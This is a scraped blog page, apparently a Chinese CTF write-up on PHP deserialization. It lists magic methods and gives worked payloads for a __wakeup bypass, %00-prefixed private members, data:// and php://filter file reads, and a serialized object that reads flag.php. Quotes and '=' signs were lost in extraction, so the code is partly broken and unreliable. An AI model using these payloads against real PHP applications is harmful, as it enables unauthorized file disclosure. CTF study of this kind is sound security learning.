当前位置: 首页 > news >正文

网站建设公司专业谷歌安装器

网站建设公司专业,谷歌安装器,上城区建设局网站,微信朋友圈软文大全别怕#xff0c;我一直陪着你 一.知识1.魔术方法 二.实例1.绕过__wakeup, private2.php://filter, data://, __tostring3. 一.知识 1.魔术方法 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep… 别怕我一直陪着你 一.知识1.魔术方法 二.实例1.绕过__wakeup, private2.php://filter, data://, __tostring3. 一.知识 1.魔术方法 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用 一 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据//调用私有属性时使用 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发 二.实例 1.绕过__wakeup, private ①脚本 ?php class Name{private $username nonono;private $password yesyes;public function __construct($username,$password){$this-username $username;$this-password $password;} }$a new Name(admin, 100); $b serialize($a); var_dump($b);O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}②调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过把Name后面的2改为3或以上即可 O:4:Name:3:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}③因为成员属性是private所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。 O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}2.php://filter, data://, __tostring ①file_get_contents的作用是将整个文件读入一个字符串 这里将text文件中读取字符串还要和welcome to the zjctf相等 这里使用的是data://写入协议 ?textdata://text/plain,welcome to the zjctf②源码提示了useless.php这里使用php伪协议来读取文件 php://filter/readconvert.base64-encode/resourceuseless.php③第一个payload ?textdata://text/plain,welcome to the zjctffilephp://filter/readconvert.base64-encode/resourceuseless.php ④脚本 ?php class Flag{ //flag.php public $fileflag.php; public function __tostring(){if(isset($this-file)){ echo file_get_contents($this-file); echo br;return (U R SO CLOSE !///COME ON PLZ);} } } $a new Flag(); echo serialize($a);⑤第二个payload ?textdata://text/plain,welcome to the zjctffileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;}不加伪协议了 flie还得正确地写 3. _destruct()方法会把op的值改为1这里需要绕过一下在2前面加一个空格即可op 2 脚本 ?php class FileHandler {public $op 2;public $filename flag.php;public $content ; } $a new FileHandler(); echo serialize($a); ?
http://www.hkea.cn/news/14375094/

相关文章:

  • 番禺 网站建设wordpress 怎么安装主题
  • wordpress标签多重筛选苏州seo排名优化
  • 会员视频网站建设贪玩游戏官网
  • 龙岩网站建设的软件公司高端网站建
  • 新博念 足球网站开发做网站挣钱打擦边球
  • 网站开发环境实验报告ps制作网站模板
  • 网站建设都包括哪些内容定制网络推广计划
  • 西安网站推广优化搭建博客网站
  • 商丘网站制作方案比较优秀的国外wordpress网站
  • 嘉兴市网站建设企业网站托管套餐
  • p2p网站 开发wordpress新框架vue
  • 免费域名申请流程网站优化软件
  • 做汽车售后的网站织梦做的网站首页排版错误
  • 沈阳市网站建设企业知名网站开发哪里有
  • 郑州网站建设廴汉狮网络自建网站软件
  • 教育类网站开发淄博网站优化服务
  • 中国建设教育学会网站官方网站下载钉钉
  • 游戏网站创建wordpress当面付
  • 南阳做网站商业网站建设目标
  • 怎么弄个人网站链友咨询
  • 天津市建设教育培训中心的网站网站建设方案模版
  • 网站推广方案计划书米特号类似网站
  • p2p网站开发的多少钱开源的 二次网站开发
  • 岳阳网站建设设计网站开发创意想法
  • 网站如何提高百度排名小程序开发模板源码
  • wordpress点击阅读全文seo优化思路
  • 必应网站收录提交入口今天最新的招聘信息
  • 学校网站管理与建设做产品设计之前怎么查资料国外网站
  • wordpress漫画主题推荐茂名seo网站推广
  • wordpress微信域名回调长沙网站优化方法